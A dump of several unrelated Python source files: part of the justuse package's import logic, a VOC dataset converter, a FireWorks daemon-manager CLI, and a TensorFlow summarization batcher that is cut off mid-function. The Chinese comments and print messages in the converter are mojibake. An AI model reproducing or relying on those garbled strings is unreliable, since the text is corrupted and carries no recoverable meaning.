{pkg_tuple} {version} {hashes}") package_name, module_name = pkg_tuple return self._use_package( name=f"{package_name}/{module_name}", package_name=package_name, module_name=module_name, version=version, hash_algo=hash_algo, hashes=hashes, default=default, auto_install=Modes.auto_install & modes, no_public_installation=Modes.no_public_installation & modes, fastfail=Modes.fastfail & modes, fatal_exceptions=Modes.fatal_exceptions & modes, ) @__call__.register(str) def _use_str( self, name: str, /, *, version: str = None, hash_algo=Hash.sha256, hashes: Optional[Union[str, list[str]]] = None, default=Modes.fastfail, modes: int = 0, ) -> ProxyModule: """ Import a pkg by name. https://github.com/amogorkon/justuse/wiki/Use-String Args: name (str): The name of the pkg to import. version (str or Version, optional): The version of the pkg to import. Defaults to None. hash_algo (member of Use.Hash, optional): For future compatibility with more modern hashing algorithms. Defaults to Hash.sha256. hashes (str | [str]), optional): A single hash or list of hashes of the pkg to import. Defaults to None. default (anything, optional): Whatever should be returned in case there's a problem with the import. Defaults to Modes.fastfail. modes (int, optional): Any combination of Use.modes . Defaults to 0. Raises: RuntimeWarning: May be raised if something non-critical happens during import. ImportError: May be raised if the auto-installation of the pkg fails for some reason. Returns: ProxyModule|Any: Module (wrapped in a ProxyModule) if successful, default as specified if the requested Module couldn't be imported for some reason. """ package_name, module_name = _parse_name(name) return self._use_package( name=name, package_name=package_name, module_name=module_name, version=version, hash_algo=hash_algo, hashes=hashes, default=default, auto_install=Modes.auto_install & modes, no_public_installation=Modes.no_public_installation & modes, fastfail=Modes.fastfail & modes, fatal_exceptions=Modes.fatal_exceptions & modes, ) @require(lambda hash_algo: hash_algo != None) def _use_package( self, *, name, package_name: str, module_name: str, version: Version, hashes: set, default: Any, hash_algo: Hash, user_msg=Message, no_public_installation: bool = False, auto_install: bool = False, fastfail: bool = False, fatal_exceptions: bool = False, ): if module_name: module_name = module_name.replace("/", ".").replace("-", "_") if isinstance(hashes, str): hashes = set(hashes.split()) if not hashes: hashes = set() hashes: set = {num_as_hexdigest(JACK_as_num(H)) if is_JACK(H) else H for H in hashes} version: Version = Version(version) if version else None # The "try and guess" behaviour is due to how classical imports work, # which is inherently ambiguous, but can't really be avoided for packages. # let's first see if the user might mean something else entirely if _ensure_path(f"./{module_name}.py").exists(): warn(Message.ambiguous_name_warning(name), AmbiguityWarning) spec = None if name in self._using: spec = self._using[name].spec elif not auto_install: spec = importlib.util.find_spec(package_name.replace("-", "_")) case = (bool(version), bool(hashes), bool(spec), bool(auto_install)) log.info("case = %s", case) # welcome to the buffet table, where everything is a lie kwargs = { "name": name, "package_name": package_name, "module_name": module_name, "version": version, "hashes": hashes, "hash_algo": hash_algo, "user_msg": user_msg, "spec": spec, "fastfail": fastfail, "no_public_installation": no_public_installation, "fatal_exceptions": fatal_exceptions, "sys_version": Version(".".join(map(str, sys.version_info[:3]))), } result = buffet_table(case, kwargs) assert result if isinstance(result, Exception): return _fail_or_default(result, default) if isinstance(result, ModuleType): frame = inspect.getframeinfo(inspect.currentframe()) self._set_mod(name=name, mod=result, spec=spec, frame=frame) return ProxyModule(result) raise RuntimeError(f"{result=!r} is neither a module nor an Exception")
format_conversion.py
# -*- coding: utf-8 -*- """ * @Author: ziuno * @Software: PyCharm * @Time: 2019/3/24 10:35 """ import os import csv import threading import time import xml.etree.ElementTree as ET from PIL import Image from multiprocessing.dummy import Pool as ThreadPool from utils.ROI_selection import roi_selection THREAD_COUNT = 128 class VOC(object): @staticmethod def convert_to_voc(src_dir_path, aim_dir_path): """ ๆŒ‡ๅฎšๆ•ฐๆฎ้›†ๆ–‡ไปถๅคนๅ’Œ็›ฎ็š„ๆ–‡ไปถๅคน๏ผŒ็”ŸๆˆVOCๆ ผๅผๆ•ฐๆฎ้›† :param src_dir_path: ๆบๆ–‡ไปถๅคน่ทฏๅพ„ :param aim_dir_path: ็›ฎ็š„ๆ–‡ไปถๅคน่ทฏๅพ„ """ # ๆ–ฐๅปบๆ‰€้œ€็š„ๆ–ฐๆ–‡ไปถๅคน annotations_dir_path = os.path.join(aim_dir_path, 'Annotations') imagesets_dir_path = os.path.join(aim_dir_path, 'ImageSets') jpegimages_dir_path = os.path.join(aim_dir_path, 'JPEGImages') imagesets_main_dir_path = os.path.join(imagesets_dir_path, 'Main') new_dirs = [aim_dir_path, annotations_dir_path, imagesets_dir_path, jpegimages_dir_path, imagesets_main_dir_path] _ = [os.makedirs(new_dir) for new_dir in new_dirs if not os.path.exists(new_dir)] # ่ฏปๅ–csvๆ•ฐๆฎๅนถไฟๅญ˜ๅœจinfoไธญ info_path = 0 for i in os.listdir(src_dir_path): if i.endswith(".csv"): info_path = os.path.join(src_dir_path, i) old_info = [] with open(info_path) as f: reader = csv.reader(f) for i, item in enumerate(reader): if i == 0: continue old_info.append([os.path.sep.join([src_dir_path, item[0][:2], item[0] + '_a.jpg'])] + item[1:]) # ๅ›พ็‰‡้‡ๅ‘ฝๅๅนถ่ฝฌๅญ˜ๅœจ็›ธๅบ”็š„ๆ–‡ไปถๅคน start_time = time.time() print('ๆญฃๅœจ่ฟ›่กŒๅ›พ็‰‡่ฝฌๅญ˜&้‡ๅ‘ฝๅ...', end='') new_info = [] for i, item in enumerate(old_info): image_new_path = os.path.join(jpegimages_dir_path, '%06d.jpg' % i) new_info.append([image_new_path] + item[1:]) if os.path.exists(image_new_path): continue image_old_path = item[0] image = Image.open(image_old_path) image.save(image_new_path) print('cost %d s' % (time.time() - start_time)) # ๅฐ†้‡ๅ‘ฝๅๅŽ็š„็”Ÿๆ•ฐๆฎไฟๅญ˜๏ผŒ็”จไบŽROI็กฎๅฎšๆ„Ÿๅ…ด่ถฃๅŒบๅŸŸ tmp_raw_info_file_name = 'tmp_raw_info.csv' tmp_raw_info_file_path = os.path.join(aim_dir_path, tmp_raw_info_file_name) with open(tmp_raw_info_file_path, 'w', newline='') as f: writer = csv.writer(f) writer.writerows([['jpg', 'x', 'y', 'judge']]) writer.writerows(new_info) del old_info del new_info # ่ฏปๅ–็”Ÿๆ•ฐๆฎ็”ŸๆˆROIๆ•ฐๆฎcsvๆ–‡ไปถ tmp_roi_info_file_name = 'tmp_roi_info.csv' tmp_roi_info_file_path = os.path.join(aim_dir_path, tmp_roi_info_file_name) start_time = time.time() print('ๆญฃๅœจๆก†ๅฎšROI...', end='') roi_selection(tmp_raw_info_file_path, tmp_roi_info_file_path) print('cost %d s' % (time.time() - start_time)) os.remove(tmp_raw_info_file_path) # ๆณจ้‡Š่ฏฅ่กŒๅฏไฟ็•™็”Ÿๆ•ฐๆฎ # ๆ นๆฎroiๆ•ฐๆฎ็”Ÿๆˆxmlๅ’Œtxtๆ–‡ไปถ tmp_xml_info_dir = annotations_dir_path t1 = threading.Thread(target=XML.convert_to_xml, args=(tmp_roi_info_file_path, tmp_xml_info_dir,)) t2 = threading.Thread(target=TXT.convert_to_txt, args=(tmp_roi_info_file_path, imagesets_main_dir_path,)) start_time = time.time() print('ๆญฃๅœจ็”Ÿๆˆxmlๆ–‡ไปถ...') t1.start() print('ๆญฃๅœจ็”Ÿๆˆtxtๆ–‡ไปถ...') t2.start() t1.join() t2.join() print('็”Ÿๆˆxmlๆ–‡ไปถๅ’Œtxtๆ–‡ไปถ--cost %d s' % (time.time() - start_time)) if os.path.exists(tmp_roi_info_file_path): os.remove(tmp_roi_info_file_path) # ๆณจ้‡Š่ฏฅ่กŒๅฏไฟ็•™roiๆ•ฐๆฎ class XML(object): __xml_dir_path = 0 __folder = 0 @staticmethod def convert_to_xml(src_file_path, aim_dir_path): XML.__xml_dir_path = aim_dir_path XML.__folder = aim_dir_path.split(os.path.sep)[3] info = [] pool = ThreadPool(THREAD_COUNT) with open(src_file_path, 'r') as f: reader = csv.reader(f) for i, item in enumerate(reader): if i == 0: continue info.append(item) pool.map(XML.__save_as_xml, info) pool.close() pool.join() @staticmethod def __save_as_xml(item): annotation = ET.Element("annotation") folder = ET.SubElement(annotation, "folder") folder.text = XML.__folder filename = ET.SubElement(annotation, "filename") filename.text = item[0].split(os.path.sep)[-1] save_name = item[0].split(os.path.sep)[-1][:-4] + '.xml' source = ET.SubElement(annotation, "source") database = ET.SubElement(source, "database") database.text = '?' annotation_ = ET.SubElement(source, "annotation") annotation_.text = '?' image = ET.SubElement(source, "image") image.text = '?' flickrid = ET.SubElement(source, "flickrid") flickrid.text = '?' owner = ET.SubElement(annotation, "owner") flickrid_ = ET.SubElement(owner, "flickrid") flickrid_.text = "?" size = ET.SubElement(annotation, "size") width = ET.SubElement(size, "width") height = ET.SubElement(size, "height") depth = ET.SubElement(size, "depth") depth.text = '1' with Image.open(item[0]) as img: width.text = str(img.size[0]) height.text = str(img.size[1]) segmented = ET.SubElement(annotation, "segmented") segmented.text = 0 # ๆ˜ฏๅฆ็”จไบŽๅˆ†ๅ‰ฒ object_ = ET.SubElement(annotation, "object") name = ET.SubElement(object_, "name") name.text = item[5] pose = ET.SubElement(object_, "pose") pose.text = "Unspecified" truncated = ET.SubElement(object_, "truncated") truncated.text = 0 # ๆ˜ฏๅฆ่ขซ่ฃๅ‰ช๏ผŒ0ๅฎŒๆ•ด๏ผŒ1ไธๅฎŒๆ•ด difficult = ET.SubElement(object_, "difficult") difficult.text = 0 bndbox = ET.SubElement(object_, "bndbox") xmin = ET.SubElement(bndbox, "xmin") xmin.text = item[1] ymin = ET.SubElement(bndbox, "ymin") ymin.text = item[2] xmax = ET.SubElement(bndbox, "xmax") xmax.text = item[3] ymax = ET.SubElement(bndbox, "ymax") ymax.text = item[4] et = ET.ElementTree(annotation) save_path = os.path.join(XML.__xml_dir_path, save_name) et.write(save_path, encoding='utf-8', xml_declaration=True) class TXT(object): @staticmethod def convert_to_txt(src_file_path, aim_dir, train_trainval_test_val_scale="1:1:1:1"): pass
fwrlm_run.py
#!/usr/bin/env python # PYTHON_ARGCOMPLETE_OK # # fwrlm_run.py # # Copyright (C) 2020 IMTEK Simulation # Author: Johannes Hoermann, johannes.hoermann@imtek.uni-freiburg.de # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """Manages FireWorks rocket launchers and associated scripts as daemons""" import argparse import logging import multiprocessing import os import shutil import sys # for stdout and stderr import fwrlm.config # needed to initialize configuration properly. TODO: make obsolete from fwrlm.base import pid from fwrlm.config import config_to_dict, \ FW_CONFIG_PREFIX, FW_CONFIG_SKEL_PREFIX, FW_CONFIG_TEMPLATE_PREFIX from fwrlm.fwrlm import DummyManager, \ RLaunchManager, MLaunchManager, QLaunchManager, \ LPadRecoverOfflineManager, LPadWebGuiManager, SSHTunnelManager from fwrlm.utils.render import render_batch DAEMON_DICT = { 'dummy': DummyManager, 'ssh': SSHTunnelManager, 'rlaunch': RLaunchManager, 'mlaunch': MLaunchManager, 'qlaunch': QLaunchManager, 'recover': LPadRecoverOfflineManager, 'webgui': LPadWebGuiManager, } DAEMON_SETS = { 'all': [ # all services, including web gui 'rlaunch', 'mlaunch', 'qlaunch', 'recover', 'webgui'], 'hpc-worker': [ # ssh tunnel to db, local and queue submission rocket launcher, recovery of offline runs 'rlaunch', 'qlaunch', 'recover'], 'local-worker': [ # ssh tunnel to db and local rocket launcher 'rlaunch'], 'hpc-fw': [ # all high-level FireWorks worker services (not ssh tunnel) on hpc system 'rlaunch', 'qlaunch', 'recover'], 'local-fw': [ # all high-level FireWorks worker services (not ssh tunnel) on local system (no queue submission) 'rlaunch'], **{k: [k] for k in DAEMON_DICT.keys()}, } EX_OK = 0 EX_FAILURE = 1 EX_NOTRUNNING = 1 EX_UNKNOWN = 4 # CLI commands pendants def test_daemon(daemon): """Run directly for testing purposes.""" fwrlm = DAEMON_DICT[daemon]() fwrlm.spawn() def start_daemon(daemon): """Start daemon and exit. Returns: int, sys.exit exit code - 0: daemon started - > 0: failure """ logger = logging.getLogger(__name__) fwrlm = DAEMON_DICT[daemon]() try: p = multiprocessing.Process(target=fwrlm.spawn_daemon) p.start() p.join() ret = EX_OK except Exception as exc: logger.exception(exc) ret = EX_FAILURE else: logger.info("{:s} started.".format(daemon)) return ret def check_daemon_status(daemon): """Check status of daemon and exit. Returns: int, sys.exit exit code - 0: daemon running - 1: daemon not running - 4: state unknown Exit codes follow `systemctl`'s exit codes with the exception of 1 for a non-running daemon instead of 3, see https://www.freedesktop.org/software/systemd/man/systemctl.html#Exit%20status """ logger = logging.getLogger(__name__) fwrlm = DAEMON_DICT[daemon]() stat = fwrlm.check_daemon(raise_exc=False) logger.debug("{:s} daemon state: '{}'".format(daemon, stat)) if stat == pid.PID_CHECK_RUNNING: logger.info("{:s} running.".format(daemon)) ret = EX_OK # success, daemon running elif stat in [pid.PID_CHECK_NOFILE, pid.PID_CHECK_NOTRUNNING]: logger.info("{:s} not running.".format(daemon)) ret = EX_NOTRUNNING # failure, daemon not running else: # pid.PID_CHECK_UNREADABLE or pid.PID_CHECK_ACCESSDENIED logger.warning("{:s} state unknown.".format(daemon)) ret = EX_UNKNOWN # failure, state unknown return ret def stop_daemon(daemon): """Stop daemon and exit.""" logger = logging.getLogger(__name__) fwrlm = DAEMON_DICT[daemon]() try: stat = fwrlm.stop_daemon() except Exception as exc: # stopping failed logger.exception(exc) ret = EX_UNKNOWN else: if stat: # successfully stopped logger.info("{} stopped.".format(daemon)) else: # wasn't running anyway logger.info("{} not running.".format(daemon)) ret = EX_OK return ret def restart_daemon(daemon): """Restart daemon and exit.""" import time ret = stop_daemon(daemon) if ret == os.EX_OK: time.sleep(5) ret = start_daemon(daemon) return ret def act(args, action): """Perform any action (start, stop, ...) for one or multiple daemons.""" logger = logging.getLogger(__name__) daemons = {d for s in args.daemon for d in DAEMON_SETS[s]} logger.debug("Will evoke '{}' for set [{}]".format( action.__name__, ', '.join(list(daemons)))) ret = EX_OK for daemon in daemons: logger.debug("Evoking '{}' for {}".format(action.__name__, daemon)) cur_ret = action(daemon) logger.debug("'{}' for {} returned with exit code '{}'".format( action.__name__, daemon, cur_ret)) ret = cur_ret if cur_ret > ret else ret sys.exit(ret) # configuration administration def reset_config(args): """Resets FireWorks user config.""" logger = logging.getLogger(__name__) if os.path.exists(args.config_dir) and args.force: logger.warning("Directory '{:s}' exists and will be deleted." .format(args.config_dir)) shutil.rmtree(args.config_dir) elif os.path.exists(args.config_dir): msg = ( "Directory '{:s}' does exist! Use '--force' to remove." .format(args.config_dir) ) logger.error(msg) raise FileExistsError(msg) logger.info("Copy skeleton from {:s} to {:s}.".format( args.skel_dir, args.config_dir)) shutil.copytree(args.skel_dir, args.config_dir) context = config_to_dict() # only use key : value pairs with value not None args.context = {key: value for key, value in context.items() if value} logger.info("Render config tempaltes in {:s}".format(args.template_dir)) logger.info(" to {:s}".format(args.config_dir)) logger.debug(" with context {}".format(args.context)) render_batch( args.template_dir, args.config_dir, args.context) def show_config(args): """Show FWRLM config.""" config_dict = config_to_dict() for key, value in config_dict.items(): print("{:s}={:s}".format(str(key),str(value))) def main(): """FWRLM command line interface.""" # multiprocessing.set_start_method('fork') # in order to have both: # * preformatted help text and ... # * automatic display of defaults class ArgumentDefaultsAndRawDescriptionHelpFormatter( argparse.ArgumentDefaultsHelpFormatter, argparse.RawDescriptionHelpFormatter): """Allows for both preformatted help and automatic defaults display.""" pass parser = argparse.ArgumentParser( description=__doc__, formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) # root-level options parser.add_argument('--debug', '-d', default=False, required=False, action='store_true', dest="debug", help='debug (loglevel DEBUG)') parser.add_argument('--verbose', '-v', default=False, required=False, action='store_true', dest="verbose", help='verbose (loglevel INFO, default)') parser.add_argument('--quiet', '-q', default=False, required=False, action='store_true', dest="quiet", help='quiet (logelevel WARNING)') parser.add_argument('--log', required=False, nargs='?', dest="log", default=None, const='fwrlm.log', metavar='LOG', help='Write log fwrlm.log, optionally specify log name') # sub-commands subparsers = parser.add_subparsers(help='command', dest='command') # start command start_parser = subparsers.add_parser( 'start', help='Start daemons.', formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) start_parser.add_argument( 'daemon', type=str, nargs='+', help='Daemon name', metavar='DAEMON', choices=set(DAEMON_SETS.keys())) start_parser.set_defaults(func=lambda args: act(args, start_daemon)) # status command status_parser = subparsers.add_parser( 'status', help='Query daemon status.', formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) status_parser.add_argument( 'daemon', type=str, nargs='+', help='Daemon name', metavar='DAEMON', choices=set(DAEMON_SETS.keys())) status_parser.set_defaults( func=lambda args: act(args, check_daemon_status)) # stop command stop_parser = subparsers.add_parser( 'stop', help='Stop daemons.', formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) stop_parser.add_argument( 'daemon', type=str, nargs='+', help='Daemon name', metavar='DAEMON', choices=set(DAEMON_SETS.keys())) stop_parser.set_defaults(func=lambda args: act(args, stop_daemon)) # start command restart_parser = subparsers.add_parser( 'restart', help='Restart daemons.', formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) restart_parser.add_argument( 'daemon', type=str, nargs='+', help='Daemon name', metavar='DAEMON', choices=set(DAEMON_SETS.keys())) restart_parser.set_defaults(func=lambda args: act(args, restart_daemon)) # test command test_parser = subparsers.add_parser( 'test', help='Runs service directly without detaching.', formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) test_parser.add_argument( 'daemon', type=str, help='Daemon name', metavar='DAEMON', choices=set(DAEMON_DICT.keys())) test_parser.set_defaults(func=test_daemon) # config command config_parser = subparsers.add_parser( 'config', help='Operate on FireWorks config.', formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) config_parser.add_argument( '--config-dir', type=str, default=FW_CONFIG_PREFIX, help='User config directory', metavar='CONFIG_DIR', dest='config_dir') config_parser.add_argument( '--skel-dir', type=str, default=FW_CONFIG_SKEL_PREFIX, help='Config skeleton directory', metavar='SKEL_DIR', dest='skel_dir') config_parser.add_argument( '--template-dir', type=str, default=FW_CONFIG_TEMPLATE_PREFIX, help='Config template directory', metavar='TEMPLATE_DIR', dest='template_dir') config_subparsers = config_parser.add_subparsers( help='sub-command', dest='command') # config reset command config_reset_parser = config_subparsers.add_parser( 'reset', help=( "Reset FireWorks config in 'CONFIG_DIR' by first copying files " "from 'SKEL_DIR' and then rendering files from 'TEMPLATE_DIR' " "with parameters defined within your 'FWRLM_config.yaml'."), formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) config_reset_parser.add_argument( '--force', '-f', action='store_true', help='Force overwriting existing config.') config_reset_parser.set_defaults(func=reset_config) # config reset command config_show_parser = config_subparsers.add_parser( 'show', help="Displays current config.", formatter_class=ArgumentDefaultsAndRawDescriptionHelpFormatter) config_show_parser.set_defaults(func=show_config) try: import argcomplete argcomplete.autocomplete(parser) except: pass # parse args = parser.parse_args() # logging logformat = "%(levelname)s: %(message)s" if args.debug and not args.quiet: logformat = ( "[%(asctime)s-%(funcName)s()-%(filename)s:%(lineno)s]" " %(levelname)s: %(message)s" ) loglevel = logging.DEBUG elif args.verbose and not args.quiet: loglevel = logging.INFO elif not args.quiet: loglevel = logging.INFO else: loglevel = logging.WARNING logging.basicConfig(level=loglevel, format=logformat) # explicitly modify the root logger (necessary?) logger = logging.getLogger() logger.setLevel(loglevel) # remove all handlers for h in logger.handlers: logger.removeHandler(h) # create and append custom handles # only info & debug to stdout def stdout_filter(record): return record.levelno <= logging.INFO stdouth = logging.StreamHandler(sys.stdout) formatter = logging.Formatter(logformat) stdouth.setFormatter(formatter) stdouth.setLevel(loglevel) stdouth.addFilter(stdout_filter) stderrh = logging.StreamHandler(sys.stderr) stderrh.setFormatter(formatter) stderrh.setLevel(logging.WARNING) logger.addHandler(stdouth) logger.addHandler(stderrh) if args.log: fh = logging.FileHandler(args.log) fh.setFormatter(formatter) fh.setLevel(loglevel) logger.addHandler(fh) if args.command is None: # if no command supplied, print help parser.print_help() elif 'func' not in args: parser.print_help() else: args.func(args) if __name__ == '__main__': main()
batcher.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # Modifications Copyright 2017 Abigail See # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """This file contains code to process data into batches""" import Queue from random import shuffle from threading import Thread import time import numpy as np import tensorflow as tf import data #from word_level_features import WordFeatures class Example(object): """Class representing a train/val/test example for text summarization.""" def __init__(self, article, query, abstract_sentences, vocab, hps, example_id=None): """Initializes the Example, performing tokenization and truncation to produce the encoder, decoder and target sequences, which are stored in self. Args: article: source text; a string. each token is separated by a single space. abstract_sentences: list of strings, one per abstract sentence. In each sentence, each token is separated by a single space. vocab: Vocabulary object hps: hyperparameters """ self.hps = hps # Get ids of special tokens start_decoding = vocab.word2id(data.START_DECODING) stop_decoding = vocab.word2id(data.STOP_DECODING) #word_features = WordFeatures() # Process the article article_words = article.split() #article_words = word_features.get_tokens(article) if len(article_words) > hps.max_enc_steps: article_words = article_words[:hps.max_enc_steps] article = " ".join(a for a in article_words) self.enc_len = len(article_words) # store the length after truncation but before padding self.enc_input = [vocab.word2id(w) for w in article_words] # list of word ids; OOVs are represented by the id for UNK token self.example_id = example_id # Process the query query_words = query.split() #query_words = word_features.get_tokens(query) if len(query_words) > hps.max_que_steps: #tf.logging.info('Before_query: %d Hps: %d'%(len(query_words),hps.max_que_steps)) query_words = query_words[len(query_words)- hps.max_que_steps:] #tf.logging.info('Big_query : %d'%(len(query_words))) query = " ".join(q for q in query_words) self.que_len = len(query_words) # store the length after truncation but before padding self.que_input = [vocab.word2id(w) for w in query_words] # list of word ids; OOVs are represented by the id for UNK token # Process the abstract abstract = ' '.join(abstract_sentences) # string abstract_words = abstract.split() #abstract_words = word_features.get_tokens(abstract) # list of strings abs_ids = [vocab.word2id(w) for w in abstract_words] # list of word ids; OOVs are represented by the id for UNK token # Get the decoder input sequence and target sequence self.dec_input, self.target = self.get_dec_inp_targ_seqs(abs_ids, hps.max_dec_steps, start_decoding, stop_decoding) self.dec_len = len(self.dec_input) # If using pointer-generator mode, we need to store some extra info if hps.pointer_gen: # Store a version of the enc_input where in-article OOVs are represented by their temporary OOV id; also store the in-article OOVs words themselves self.enc_input_extend_vocab, self.article_oovs = data.article2ids(article_words, vocab) # Get a verison of the reference summary where in-article OOVs are represented by their temporary article OOV id abs_ids_extend_vocab = data.abstract2ids(abstract_words, vocab, self.article_oovs) # Overwrite decoder target sequence so it uses the temp article OOV ids _, self.target = self.get_dec_inp_targ_seqs(abs_ids_extend_vocab, hps.max_dec_steps, start_decoding, stop_decoding) # Store the original strings self.original_article = article self.original_query = query self.original_abstract = abstract self.original_abstract_sents = abstract_sentences self.original_example_id = example_id def get_dec_inp_targ_seqs(self, sequence, max_len, start_id, stop_id): """Given the reference summary as a sequence of tokens, return the input sequence for the decoder, and the target sequence which we will use to calculate loss. The sequence will be truncated if it is longer than max_len. The input sequence must start with the start_id and the target sequence must end with the stop_id (but not if it's been truncated). Args: sequence: List of ids (integers) max_len: integer start_id: integer stop_id: integer Returns: inp: sequence length <=max_len starting with start_id target: sequence same length as input, ending with stop_id only if there was no truncation """ inp = [start_id] + sequence[:] target = sequence[:] if len(inp) > max_len: # truncate inp = inp[:max_len] target = target[:max_len] # no end_token else: # no truncation target.append(stop_id) # end token assert len(inp) == len(target) return inp, target def pad_decoder_inp_targ(self, max_len, pad_id): """Pad decoder input and target sequences with pad_id up to max_len.""" while len(self.dec_input) < max_len: self.dec_input.append(pad_id) while len(self.target) < max_len: self.target.append(pad_id) def pad_encoder_input(self, max_len, pad_id): """Pad the encoder input sequence with pad_id up to max_len.""" while len(self.enc_input) < max_len: self.enc_input.append(pad_id) if self.hps.pointer_gen: while len(self.enc_input_extend_vocab) < max_len: self.enc_input_extend_vocab.append(pad_id) def pad_query_input(self, max_len, pad_id): """Pad the query input sequence with pad_id up to max_len.""" while len(self.que_input) < max_len: self.que_input.append(pad_id) class Batch(object): """Class representing a minibatch of train/val/test examples for text summarization.""" def __init__(self, example_list, hps, vocab): """Turns the example_list into a Batch object. Args: example_list: List of Example objects hps: hyperparameters vocab: Vocabulary object """ self.pad_id = vocab.word2id(data.PAD_TOKEN) # id of the PAD token used to pad sequences self.init_encoder_seq(example_list, hps) # initialize the input to the encoder self.init_query_seq(example_list, hps) self.init_decoder_seq(example_list, hps) # initialize the input and targets for the decoder self.store_orig_strings(example_list) # store the original strings def init_encoder_seq(self, example_list, hps): """Initializes the following: self.enc_batch: numpy array of shape (batch_size, <=max_enc_steps) containing integer ids (all OOVs represented by UNK id), padded to length of longest sequence in the batch self.enc_lens: numpy array of shape (batch_size) containing integers. The (truncated) length of each encoder input sequence (pre-padding). self.enc_padding_mask: numpy array of shape (batch_size, <=max_enc_steps), containing 1s and 0s. 1s correspond to real tokens in enc_batch and target_batch; 0s correspond to padding. If hps.pointer_gen, additionally initializes the following: self.max_art_oovs: maximum number of in-article OOVs in the batch self.art_oovs: list of list of in-article OOVs (strings), for each example in the batch self.enc_batch_extend_vocab: Same as self.enc_batch, but in-article OOVs are represented by their temporary article OOV number. """ # Determine the maximum length of the encoder input sequence in this batch max_enc_seq_len = max([ex.enc_len for ex in example_list]) #tf.logging.info("Enc %d"%(max_enc_seq_len)) # Pad the encoder input sequences up to the length of the longest sequence for ex in example_list: ex.pad_encoder_input(max_enc_seq_len, self.pad_id) # Initialize the numpy arrays # Note: our enc_batch can have different length (second dimension) for each batch because we use dynamic_rnn for the encoder. self.enc_batch = np.zeros((hps.batch_size, max_enc_seq_len), dtype=np.int32) self.enc_lens = np.zeros((hps.batch_size), dtype=np.int32) self.enc_padding_mask = np.zeros((hps.batch_size, max_enc_seq_len), dtype=np.float32) # Fill in the numpy arrays for i, ex in enumerate(example_list): self.enc_batch[i, :] = ex.enc_input[:] self.enc_lens[i] = ex.enc_len for j in xrange(ex.enc_len): self.enc_padding_mask[i][j] = 1 # For pointer-generator mode, need to store some extra info if hps.pointer_gen: # Determine the max number of in-article OOVs in this batch self.max_art_oovs = max([len(ex.article_oovs) for ex in example_list]) # Store the in-article OOVs themselves self.art_oovs = [ex.article_oovs for ex in example_list] # Store the version of the enc_batch that uses the article OOV ids self.enc_batch_extend_vocab = np.zeros((hps.batch_size, max_enc_seq_len), dtype=np.int32) for i, ex in enumerate(example_list): self.enc_batch_extend_vocab[i, :] = ex.enc_input_extend_vocab[:] def init_query_seq(self, example_list, hps): # """Initializes the following: # self.que_batch: # numpy array of shape (batch_size, <=max_que_steps) containing integer ids (all OOVs represented by UNK id), padded to length of longest sequence in the batch # self.que_lens: # numpy array of shape (batch_size) containing integers. The (truncated) length of each encoder input sequence (pre-padding). # self.que_padding_mask: # numpy array of shape (batch_size, <=max_que_steps), containing 1s and 0s. 1s correspond to real tokens in enc_batch and target_batch; 0s correspond to padding. # # # """ # Determine the maximum length of the encoder input sequence in this batch max_que_seq_len = max([ex.que_len for ex in example_list]) #tf.logging.info("QUe : %d"%(max_que_seq_len)) # Pad the encoder input sequences up to the length of the longest sequence for ex in example_list: ex.pad_query_input(max_que_seq_len, self.pad_id) # Initialize the numpy arrays # Note: our enc_batch can have different length (second dimension) for each batch because we use dynamic_rnn for the encoder. self.que_batch = np.zeros((hps.batch_size, max_que_seq_len), dtype=np.int32) self.que_lens = np.zeros((hps.batch_size), dtype=np.int32) self.que_padding_mask = np.zeros((hps.batch_size, max_que_seq_len), dtype=np.float32) # Fill in the numpy arrays for i, ex in enumerate(example_list): self.que_batch[i, :] = ex.que_input[:] self.que_lens[i] = ex.que_len for j in xrange(ex.que_len): self.que_padding_mask[i][j] = 1 def init_decoder_seq(self, example_list, hps): """Initializes the following: self.dec_batch: numpy array of shape (batch_size, max_dec_steps), containing integer ids as input for the decoder, padded to max_dec_steps length. self.target_batch: numpy array of shape (batch_size, max_dec_steps), containing integer ids for the target sequence, padded to max_dec_steps length. self.dec_padding_mask: numpy array of shape (batch_size, max_dec_steps), containing 1s and 0s. 1s correspond to real tokens in dec_batch and target_batch; 0s correspond to padding. """ # Pad the inputs and targets for ex in example_list: ex.pad_decoder_inp_targ(hps.max_dec_steps, self.pad_id) # Initialize the numpy arrays. # Note: our decoder inputs and targets must be the same length for each batch (second dimension = max_dec_steps) because we do not use a dynamic_rnn for decoding. However I believe this is possible, or will soon be possible, with Tensorflow 1.0, in which case it may be best to upgrade to that. self.dec_batch = np.zeros((hps.batch_size, hps.max_dec_steps), dtype=np.int32) self.target_batch = np.zeros((hps.batch_size, hps.max_dec_steps), dtype=np.int32) self.dec_padding_mask = np.zeros((hps.batch_size, hps.max_dec_steps), dtype=np.float32) # Fill in the numpy arrays for i, ex in enumerate(example_list): self.dec_batch[i, :] = ex.dec_input[:] self.target_batch[i, :] = ex.target[:] for j in 